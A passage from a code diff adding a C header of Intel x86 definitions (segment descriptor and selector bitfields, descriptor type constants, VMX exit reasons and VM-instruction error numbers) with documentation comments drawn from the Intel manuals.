more details. + */ + uint32_t segment_limit_high : 4; +#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 +#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 +#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F +#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) + + /** + * @brief Available bit + * + * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. + */ + uint32_t system : 1; +#define SEGMENT__SYSTEM_BIT 20 +#define SEGMENT__SYSTEM_FLAG 0x100000 +#define SEGMENT__SYSTEM_MASK 0x01 +#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) + + /** + * @brief L (64-bit code segment) flag + * + * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment + * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A + * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then + * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to + * 0. + */ + uint32_t long_mode : 1; +#define SEGMENT__LONG_MODE_BIT 21 +#define SEGMENT__LONG_MODE_FLAG 0x200000 +#define SEGMENT__LONG_MODE_MASK 0x01 +#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) + + /** + * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag + * + * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an + * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and + * to 0 for 16-bit code and data segments.) + * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and + * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands + * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can + * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other + * than the default. + * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the + * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a + * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer + * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment + * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. + * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag + * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). + */ + uint32_t default_big : 1; +#define SEGMENT__DEFAULT_BIG_BIT 22 +#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 +#define SEGMENT__DEFAULT_BIG_MASK 0x01 +#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) + + /** + * @brief G (granularity) flag + * + * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is + * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not + * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve + * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when + * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. + */ + uint32_t granularity : 1; +#define SEGMENT__GRANULARITY_BIT 23 +#define SEGMENT__GRANULARITY_FLAG 0x800000 +#define SEGMENT__GRANULARITY_MASK 0x01 +#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) + + /** + * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. + */ + uint32_t base_address_high : 8; +#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 +#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 +#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + }; + + + /** + * Base address field (32:63); see description of $BASE_LOW for more details. + */ + uint32_t base_address_upper; + + /** + * Base address field (32:63); see description of $BASE_LOW for more details. + */ + uint32_t must_be_zero; +} segment_descriptor_64; + +#define SEGMENT_DESCRIPTOR_TYPE_SYSTEM 0x00000000 +#define SEGMENT_DESCRIPTOR_TYPE_CODE_OR_DATA 0x00000001 +/** + * @defgroup segment_descriptor_code_and_data_type \ + * Code- and Data-Segment Descriptor Types + * + * When the S (descriptor type) flag in a segment descriptor is set, the descriptor is for either a code or a data segment. + * The highest order bit of the type field (bit 11 of the second double word of the segment descriptor) then determines + * whether the descriptor is for a data segment (clear) or a code segment (set). For data segments, the three low-order + * bits of the type field (bits 8, 9, and 10) are interpreted as accessed (A), write-enable (W), and expansion-direction + * (E). See Table 3-1 for a description of the encoding of the bits in the type field for code and data segments. Data + * segments can be read-only or read/write segments, depending on the setting of the write-enable bit. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] (reference) + * @{ + */ + /** + * Read-Only. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY 0x00000000 + + /** + * Data Read-Only, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_ACCESSED 0x00000001 + + /** + * Data Read/Write. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE 0x00000002 + + /** + * Data Read/Write, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_ACCESSED 0x00000003 + + /** + * Data Read-Only, expand-down. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN 0x00000004 + + /** + * Data Read-Only, expand-down, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN_ACCESSED 0x00000005 + + /** + * Data Read/Write, expand-down. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN 0x00000006 + + /** + * Data Read/Write, expand-down, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN_ACCESSED 0x00000007 + + /** + * Code Execute-Only. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY 0x00000008 + + /** + * Code Execute-Only, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_ACCESSED 0x00000009 + + /** + * Code Execute/Read. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ 0x0000000A + + /** + * Code Execute/Read, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_ACCESSED 0x0000000B + + /** + * Code Execute-Only, conforming. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING 0x0000000C + + /** + * Code Execute-Only, conforming, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING_ACCESSED 0x0000000D + + /** + * Code Execute/Read, conforming. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING 0x0000000E + + /** + * Code Execute/Read, conforming, accessed. + */ +#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING_ACCESSED 0x0000000F + /** + * @} + */ + + /** + * @defgroup segment_descriptor_system_type \ + * System Descriptor Types + * + * When the S (descriptor type) flag in a segment descriptor is clear, the descriptor type is a system descriptor. The + * processor recognizes the following types of system descriptors: + * - Local descriptor-table (LDT) segment descriptor. + * - Task-state segment (TSS) descriptor. + * - Call-gate descriptor. + * - Interrupt-gate descriptor. + * - Trap-gate descriptor. + * - Task-gate descriptor. + * These descriptor types fall into two categories: system-segment descriptors and gate descriptors. Systemsegment + * descriptors point to system segments (LDT and TSS segments). Gate descriptors are in themselves "gates," which hold + * pointers to procedure entry points in code segments (call, interrupt, and trap gates) or which hold segment selectors + * for TSS's (task gates). + * + * @see Vol3A[3.5(SYSTEM DESCRIPTOR TYPES)] (reference) + * @{ + */ + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_1 0x00000000 + + /** + * - 32-Bit Mode: 16-bit TSS (Available) + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_AVAILABLE 0x00000001 + + /** + * - 32-Bit Mode: LDT + * - IA-32e Mode: LDT + */ +#define SEGMENT_DESCRIPTOR_TYPE_LDT 0x00000002 + + /** + * - 32-Bit Mode: 16-bit TSS (Busy) + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_BUSY 0x00000003 + + /** + * - 32-Bit Mode: 16-bit Call Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE_16 0x00000004 + + /** + * - 32-Bit Mode: Task Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TASK_GATE 0x00000005 + + /** + * - 32-Bit Mode: 16-bit Interrupt Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE_16 0x00000006 + + /** + * - 32-Bit Mode: 16-bit Trap Gate + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE_16 0x00000007 + + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_2 0x00000008 + + /** + * - 32-Bit Mode: 32-bit TSS (Available) + * - IA-32e Mode: 64-bit TSS (Available) + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_AVAILABLE 0x00000009 + + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_3 0x0000000A + + /** + * - 32-Bit Mode: 32-bit TSS (Busy) + * - IA-32e Mode: 64-bit TSS (Busy) + */ +#define SEGMENT_DESCRIPTOR_TYPE_TSS_BUSY 0x0000000B + + /** + * - 32-Bit Mode: 32-bit Call Gate + * - IA-32e Mode: 64-bit Call Gate + */ +#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE 0x0000000C + + /** + * - 32-Bit Mode: Reserved + * - IA-32e Mode: Reserved + */ +#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_4 0x0000000D + + /** + * - 32-Bit Mode: 32-bit Interrupt Gate + * - IA-32e Mode: 64-bit Interrupt Gate + */ +#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE 0x0000000E + + /** + * - 32-Bit Mode: 32-bit Trap Gate + * - IA-32e Mode: 64-bit Trap Gate + */ +#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE 0x0000000F + /** + * @} + */ + + /** + * @brief A segment selector is a 16-bit identifier for a segment. It does not point directly to the segment, but instead + * points to the segment descriptor that defines the segment + * + * @see Vol3A[3.4.2(Segment Selectors)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 1:0] Specifies the privilege level of the selector. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. + * + * @see Vol3A[5.5(Privilege Levels)] + */ + uint16_t request_privilege_level : 2; +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_BIT 0 +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_FLAG 0x03 +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL(_) (((_) >> 0) & 0x03) + + /** + * [Bit 2] Specifies the descriptor table to use: clearing this flag selects the GDT; setting this flag selects the current + * LDT. + */ + uint16_t table : 1; +#define SEGMENT_SELECTOR_TABLE_BIT 2 +#define SEGMENT_SELECTOR_TABLE_FLAG 0x04 +#define SEGMENT_SELECTOR_TABLE_MASK 0x01 +#define SEGMENT_SELECTOR_TABLE(_) (((_) >> 2) & 0x01) + + /** + * [Bits 15:3] Selects one of 8192 descriptors in the GDT or LDT. The processor multiplies the index value by 8 (the number + * of bytes in a segment descriptor) and adds the result to the base address of the GDT or LDT (from the GDTR or LDTR + * register, respectively). + */ + uint16_t index : 13; +#define SEGMENT_SELECTOR_INDEX_BIT 3 +#define SEGMENT_SELECTOR_INDEX_FLAG 0xFFF8 +#define SEGMENT_SELECTOR_INDEX_MASK 0x1FFF +#define SEGMENT_SELECTOR_INDEX(_) (((_) >> 3) & 0x1FFF) + }; + + uint16_t flags; +} segment_selector; + +/** + * @} + */ + + /** + * @defgroup vmx \ + * VMX + * @{ + */ + /** + * @{ + */ + /** + * @defgroup vmx_basic_exit_reasons \ + * VMX Basic Exit Reasons + * + * VMX Basic Exit Reasons. + * + * @see Vol3D[C(VMX BASIC EXIT REASONS)] (reference) + * @{ + */ + /** + * @brief Exception or non-maskable interrupt (NMI) + * + * Either: + * -# Guest software caused an exception and the bit in the exception bitmap associated with exception's vector was 1. This + * case includes executions of BOUND that cause \#BR, executions of INT1 (they cause \#DB), executions of INT3 (they cause + * \#BP), executions of INTO that cause \#OF, and executions of UD0, UD1, and UD2 (they cause \#UD). + * -# An NMI was delivered to the logical processor and the "NMI exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXCEPTION_OR_NMI 0x00000000 + + /** + * @brief External interrupt + * + * An external interrupt arrived and the "external-interrupt exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXTERNAL_INTERRUPT 0x00000001 + + /** + * @brief Triple fault + * + * The logical processor encountered an exception while attempting to call the double-fault handler and that exception did + * not itself cause a VM exit due to the exception bitmap. + */ +#define VMX_EXIT_REASON_TRIPLE_FAULT 0x00000002 + + /** + * @brief INIT signal + * + * An INIT signal arrived. + */ +#define VMX_EXIT_REASON_INIT_SIGNAL 0x00000003 + + /** + * @brief Start-up IPI (SIPI) + * + * A SIPI arrived while the logical processor was in the "wait-for-SIPI" state. + */ +#define VMX_EXIT_REASON_STARTUP_IPI 0x00000004 + + /** + * @brief I/O system-management interrupt (SMI) + * + * An SMI arrived immediately after retirement of an I/O instruction and caused an SMM VM exit. + * + * @see Vol3C[34.15.2(SMM VM Exits)] + */ +#define VMX_EXIT_REASON_IO_SMI 0x00000005 + + /** + * @brief Other SMI + * + * An SMI arrived and caused an SMM VM exit but not immediately after retirement of an I/O instruction. + * + * @see Vol3C[34.15.2(SMM VM Exits)] + */ +#define VMX_EXIT_REASON_SMI 0x00000006 + + /** + * @brief Interrupt window exiting + * + * At the beginning of an instruction, RFLAGS.IF was 1; events were not blocked by STI or by MOV SS; and the + * "interrupt-window exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_INTERRUPT_WINDOW 0x00000007 + + /** + * @brief NMI window exiting + * + * At the beginning of an instruction, there was no virtual-NMI blocking; events were not blocked by MOV SS; and the + * "NMI-window exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_NMI_WINDOW 0x00000008 + + /** + * @brief Task switch + * + * Guest software attempted a task switch. + */ +#define VMX_EXIT_REASON_TASK_SWITCH 0x00000009 + + /** + * @brief CPUID + * + * Guest software attempted to execute CPUID. + */ +#define VMX_EXIT_REASON_EXECUTE_CPUID 0x0000000A + + /** + * @brief GETSEC + * + * Guest software attempted to execute GETSEC. + */ +#define VMX_EXIT_REASON_EXECUTE_GETSEC 0x0000000B + + /** + * @brief HLT + * + * Guest software attempted to execute HLT and the "HLT exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_HLT 0x0000000C + + /** + * @brief INVD + * + * Guest software attempted to execute INVD. + */ +#define VMX_EXIT_REASON_EXECUTE_INVD 0x0000000D + + /** + * @brief INVLPG + * + * Guest software attempted to execute INVLPG and the "INVLPG exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_INVLPG 0x0000000E + + /** + * @brief RDPMC + * + * Guest software attempted to execute RDPMC and the "RDPMC exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDPMC 0x0000000F + + /** + * @brief RDTSC + * + * Guest software attempted to execute RDTSC and the "RDTSC exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDTSC 0x00000010 + + /** + * @brief RSM in SMM + * + * Guest software attempted to execute RSM in SMM. + */ +#define VMX_EXIT_REASON_EXECUTE_RSM_IN_SMM 0x00000011 + + /** + * @brief VMCALL + * + * VMCALL was executed either by guest software (causing an ordinary VM exit) or by the executive monitor (causing an SMM + * VM exit). + * + * @see Vol3C[34.15.2(SMM VM Exits)] + */ +#define VMX_EXIT_REASON_EXECUTE_VMCALL 0x00000012 + + /** + * @brief VMCLEAR + * + * Guest software attempted to execute VMCLEAR. + */ +#define VMX_EXIT_REASON_EXECUTE_VMCLEAR 0x00000013 + + /** + * @brief VMLAUNCH + * + * Guest software attempted to execute VMLAUNCH. + */ +#define VMX_EXIT_REASON_EXECUTE_VMLAUNCH 0x00000014 + + /** + * @brief VMPTRLD + * + * Guest software attempted to execute VMPTRLD. + */ +#define VMX_EXIT_REASON_EXECUTE_VMPTRLD 0x00000015 + + /** + * @brief VMPTRST + * + * Guest software attempted to execute VMPTRST. + */ +#define VMX_EXIT_REASON_EXECUTE_VMPTRST 0x00000016 + + /** + * @brief VMREAD + * + * Guest software attempted to execute VMREAD. + */ +#define VMX_EXIT_REASON_EXECUTE_VMREAD 0x00000017 + + /** + * @brief VMRESUME + * + * Guest software attempted to execute VMRESUME. + */ +#define VMX_EXIT_REASON_EXECUTE_VMRESUME 0x00000018 + + /** + * @brief VMWRITE + * + * Guest software attempted to execute VMWRITE. + */ +#define VMX_EXIT_REASON_EXECUTE_VMWRITE 0x00000019 + + /** + * @brief VMXOFF + * + * Guest software attempted to execute VMXOFF. + */ +#define VMX_EXIT_REASON_EXECUTE_VMXOFF 0x0000001A + + /** + * @brief VMXON + * + * Guest software attempted to execute VMXON. + */ +#define VMX_EXIT_REASON_EXECUTE_VMXON 0x0000001B + + /** + * @brief Control-register accesses + * + * Guest software attempted to access CR0, CR3, CR4, or CR8 using CLTS, LMSW, or MOV CR and the VM-execution control fields + * indicate that a VM exit should occur. This basic exit reason is not used for trap-like VM exits following executions of + * the MOV to CR8 instruction when the "use TPR shadow" VM-execution control is 1. Such VM exits instead use basic exit + * reason 43. + * + * @see Vol3C[25.1(INSTRUCTIONS THAT CAUSE VM EXITS)] + */ +#define VMX_EXIT_REASON_MOV_CR 0x0000001C + + /** + * @brief Debug-register accesses + * + * Guest software attempted a MOV to or from a debug register and the "MOV-DR exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_MOV_DR 0x0000001D + + /** + * @brief I/O instruction + * + * Guest software attempted to execute an I/O instruction and either: + * -# The "use I/O bitmaps" VM-execution control was 0 and the "unconditional I/O exiting" VM-execution control was 1. + * -# The "use I/O bitmaps" VM-execution control was 1 and a bit in the I/O bitmap associated with one of the ports + * accessed by the I/O instruction was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_IO_INSTRUCTION 0x0000001E + + /** + * @brief RDMSR + * + * Guest software attempted to execute RDMSR and either: + * -# The "use MSR bitmaps" VM-execution control was 0. + * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. + * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in read bitmap for low MSRs is 1, where n was + * the value of RCX. + * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in read bitmap for high MSRs is 1, where n is + * the value of RCX & 00001FFFH. + */ +#define VMX_EXIT_REASON_EXECUTE_RDMSR 0x0000001F + + /** + * @brief WRMSR + * + * Guest software attempted to execute WRMSR and either: + * -# The "use MSR bitmaps" VM-execution control was 0. + * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. + * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in write bitmap for low MSRs is 1, where n + * was the value of RCX. + * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in write bitmap for high MSRs is 1, where n is + * the value of RCX & 00001FFFH. + */ +#define VMX_EXIT_REASON_EXECUTE_WRMSR 0x00000020 + + /** + * @brief VM-entry failure due to invalid guest state + * + * A VM entry failed one of the checks identified in Section 26.3.1. + */ +#define VMX_EXIT_REASON_ERROR_INVALID_GUEST_STATE 0x00000021 + + /** + * @brief VM-entry failure due to MSR loading + * + * A VM entry failed in an attempt to load MSRs. See Section 26.4. + */ +#define VMX_EXIT_REASON_ERROR_MSR_LOAD 0x00000022 + + /** + * @brief Guest software executed MWAIT + * + * Guest software attempted to execute MWAIT and the "MWAIT exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_MWAIT 0x00000024 + + /** + * @brief VM-exit due to monitor trap flag + * + * A VM entry occurred due to the 1-setting of the "monitor trap flag" VM-execution control and injection of an MTF VM exit + * as part of VM entry. + * + * @see Vol3C[25.5.2(Monitor Trap Flag)] + */ +#define VMX_EXIT_REASON_MONITOR_TRAP_FLAG 0x00000025 + + /** + * @brief Guest software attempted to execute MONITOR + * + * Guest software attempted to execute MONITOR and the "MONITOR exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_MONITOR 0x00000027 + + /** + * @brief Guest software attempted to execute PAUSE + * + * Either guest software attempted to execute PAUSE and the "PAUSE exiting" VM-execution control was 1 or the "PAUSE-loop + * exiting" VM-execution control was 1 and guest software executed a PAUSE loop with execution time exceeding PLE_Window. + * + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ +#define VMX_EXIT_REASON_EXECUTE_PAUSE 0x00000028 + + /** + * @brief VM-entry failure due to machine-check + * + * A machine-check event occurred during VM entry. + * + * @see Vol3C[26.8(MACHINE-CHECK EVENTS DURING VM ENTRY)] + */ +#define VMX_EXIT_REASON_ERROR_MACHINE_CHECK 0x00000029 + + /** + * @brief TPR below threshold + * + * The logical processor determined that the value of bits 7:4 of the byte at offset 080H on the virtual-APIC page was + * below that of the TPR threshold VM-execution control field while the "use TPR shadow" VMexecution control was 1 either + * as part of TPR virtualization or VM entry. + * + * @see Vol3C[29.1.2(TPR Virtualization)] + * @see Vol3C[26.6.7(VM Exits Induced by the TPR Threshold)] + */ +#define VMX_EXIT_REASON_TPR_BELOW_THRESHOLD 0x0000002B + + /** + * @brief APIC access + * + * Guest software attempted to access memory at a physical address on the APIC-access page and the "virtualize APIC + * accesses" VM-execution control was 1. + * + * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] + */ +#define VMX_EXIT_REASON_APIC_ACCESS 0x0000002C + + /** + * @brief Virtualized EOI + * + * EOI virtualization was performed for a virtual interrupt whose vector indexed a bit set in the EOIexit bitmap. + */ +#define VMX_EXIT_REASON_VIRTUALIZED_EOI 0x0000002D + + /** + * @brief Access to GDTR or IDTR + * + * Guest software attempted to execute LGDT, LIDT, SGDT, or SIDT and the "descriptor-table exiting" VM-execution control + * was 1. + */ +#define VMX_EXIT_REASON_GDTR_IDTR_ACCESS 0x0000002E + + /** + * @brief Access to LDTR or TR + * + * Guest software attempted to execute LLDT, LTR, SLDT, or STR and the "descriptor-table exiting" VM-execution control was + * 1. + */ +#define VMX_EXIT_REASON_LDTR_TR_ACCESS 0x0000002F + + /** + * @brief EPT violation + * + * An attempt to access memory with a guest-physical address was disallowed by the configuration of the EPT paging + * structures. + */ +#define VMX_EXIT_REASON_EPT_VIOLATION 0x00000030 + + /** + * @brief EPT misconfiguration + * + * An attempt to access memory with a guest-physical address encountered a misconfigured EPT paging-structure entry. + */ +#define VMX_EXIT_REASON_EPT_MISCONFIGURATION 0x00000031 + + /** + * @brief INVEPT + * + * Guest software attempted to execute INVEPT. + */ +#define VMX_EXIT_REASON_EXECUTE_INVEPT 0x00000032 + + /** + * @brief RDTSCP + * + * Guest software attempted to execute RDTSCP and the "enable RDTSCP" and "RDTSC exiting" VM-execution controls were both + * 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDTSCP 0x00000033 + + /** + * @brief VMX-preemption timer expired + * + * The preemption timer counted down to zero. + */ +#define VMX_EXIT_REASON_VMX_PREEMPTION_TIMER_EXPIRED 0x00000034 + + /** + * @brief INVVPID + * + * Guest software attempted to execute INVVPID. + */ +#define VMX_EXIT_REASON_EXECUTE_INVVPID 0x00000035 + + /** + * @brief WBINVD + * + * Guest software attempted to execute WBINVD and the "WBINVD exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_WBINVD 0x00000036 + + /** + * @brief XSETBV - Guest software attempted to execute XSETBV + * + * Guest software attempted to execute XSETBV. + */ +#define VMX_EXIT_REASON_EXECUTE_XSETBV 0x00000037 + + /** + * @brief APIC write + * + * Guest software completed a write to the virtual-APIC page that must be virtualized by VMM software. + * + * @see Vol3C[29.4.3.3(APIC-Write VM Exits)] + */ +#define VMX_EXIT_REASON_APIC_WRITE 0x00000038 + + /** + * @brief RDRAND + * + * Guest software attempted to execute RDRAND and the "RDRAND exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDRAND 0x00000039 + + /** + * @brief INVPCID + * + * Guest software attempted to execute INVPCID and the "enable INVPCID" and "INVLPG exiting" VM-execution controls were + * both 1. + */ +#define VMX_EXIT_REASON_EXECUTE_INVPCID 0x0000003A + + /** + * @brief VMFUNC + * + * Guest software invoked a VM function with the VMFUNC instruction and the VM function either was not enabled or generated + * a function-specific condition causing a VM exit. + */ +#define VMX_EXIT_REASON_EXECUTE_VMFUNC 0x0000003B + + /** + * @brief ENCLS + * + * Guest software attempted to execute ENCLS and "enable ENCLS exiting" VM-execution control was 1 and either: + * -# EAX < 63 and the corresponding bit in the ENCLS-exiting bitmap is 1; or + * -# EAX >= 63 and bit 63 in the ENCLS-exiting bitmap is 1. + */ +#define VMX_EXIT_REASON_EXECUTE_ENCLS 0x0000003C + + /** + * @brief RDSEED + * + * Guest software attempted to execute RDSEED and the "RDSEED exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDSEED 0x0000003D + + /** + * @brief Page-modification log full + * + * The processor attempted to create a page-modification log entry and the value of the PML index was not in the range + * 0-511. + */ +#define VMX_EXIT_REASON_PAGE_MODIFICATION_LOG_FULL 0x0000003E + + /** + * @brief XSAVES + * + * Guest software attempted to execute XSAVES, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of + * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. + */ +#define VMX_EXIT_REASON_EXECUTE_XSAVES 0x0000003F + + /** + * @brief XRSTORS + * + * Guest software attempted to execute XRSTORS, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of + * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. + */ +#define VMX_EXIT_REASON_EXECUTE_XRSTORS 0x00000040 + /** + * @} + */ + + /** + * @defgroup vmx_instruction_error_numbers \ + * VM-Instruction Error Numbers + * + * VM-Instruction Error Numbers. + * + * @see Vol3C[30.4(VM INSTRUCTION ERROR NUMBERS)] (reference) + * @{ + */ + /** + * VMCALL executed in VMX root operation. + */ +#define VMX_ERROR_VMCALL_IN_VMX_ROOT_OPERATION 0x00000001 + + /** + * VMCLEAR with invalid physical address. + */ +#define VMX_ERROR_VMCLEAR_INVALID_PHYSICAL_ADDRESS 0x00000002 + + /** + * VMCLEAR with VMXON pointer. + */ +#define VMX_ERROR_VMCLEAR_INVALID_VMXON_POINTER 0x00000003 + + /** + * VMLAUNCH with non-clear VMCS. + */ +#define VMX_ERROR_VMLAUCH_NON_CLEAR_VMCS 0x00000004 + + /** + * VMRESUME with non-launched VMCS. + */ +#define VMX_ERROR_VMRESUME_NON_LAUNCHED_VMCS 0x00000005 + + /** + * VMRESUME after VMXOFF (VMXOFF and VMXON between VMLAUNCH and VMRESUME). + */ +#define VMX_ERROR_VMRESUME_AFTER_VMXOFF 0x00000006 + + /** + * VM entry with invalid control field(s). + */ +#define VMX_ERROR_VMENTRY_INVALID_CONTROL_FIELDS 0x00000007 + + /** + * VM entry with invalid host-state field(s). + */ +#define VMX_ERROR_VMENTRY_INVALID_HOST_STATE 0x00000008 + + /** + * VMPTRLD with invalid physical address. + */ +#define VMX_ERROR_VMPTRLD_INVALID_PHYSICAL_ADDRESS 0x00000009 + + /** + * VMPTRLD with VMXON pointer. + */ +#define VMX_ERROR_VMPTRLD_VMXON_POINTER 0x0000000A + + /** + * VMPTRLD with incorrect VMCS revision identifier. + */ +#define VMX_ERROR_VMPTRLD_INCORRECT_VMCS_REVISION_ID 0x0000000B + + /** + * VMREAD/VMWRITE from/to unsupported VMCS component. + */ +#define VMX_ERROR_VMREAD_VMWRITE_INVALID_COMPONENT 0x0000000C + + /** + * VMWRITE to read-only VMCS component. + */ +#define VMX_ERROR_VMWRITE_READONLY_COMPONENT 0x0000000D + + /** + * VMXON executed in VMX root operation. + */ +#define VMX_ERROR_VMXON_IN_VMX_ROOT_OP 0x0000000F + + /** + * VM entry with invalid executive-VMCS pointer. + */ +#define VMX_ERROR_VMENTRY_INVALID_VMCS_EXECUTIVE_POINTER 0x00000010 + + /** + * VM entry with non-launched executive VMCS. + */ +#define VMX_ERROR_VMENTRY_NON_LAUNCHED_EXECUTIVE_VMCS 0x00000011 + + /** + * VM entry with executive-VMCS pointer not VMXON pointer (when attempting to deactivate the dual-monitor treatment of SMIs + * and SMM). + */ +#define VMX_ERROR_VMENTRY_EXECUTIVE_VMCS_PTR 0x00000012 + + /** + * VMCALL with non-clear VMCS (when attempting to activate the dual-monitor treatment of SMIs and SMM). + */ +#define VMX_ERROR_VMCALL_NON_CLEAR_VMCS 0x00000013 + + /** + * 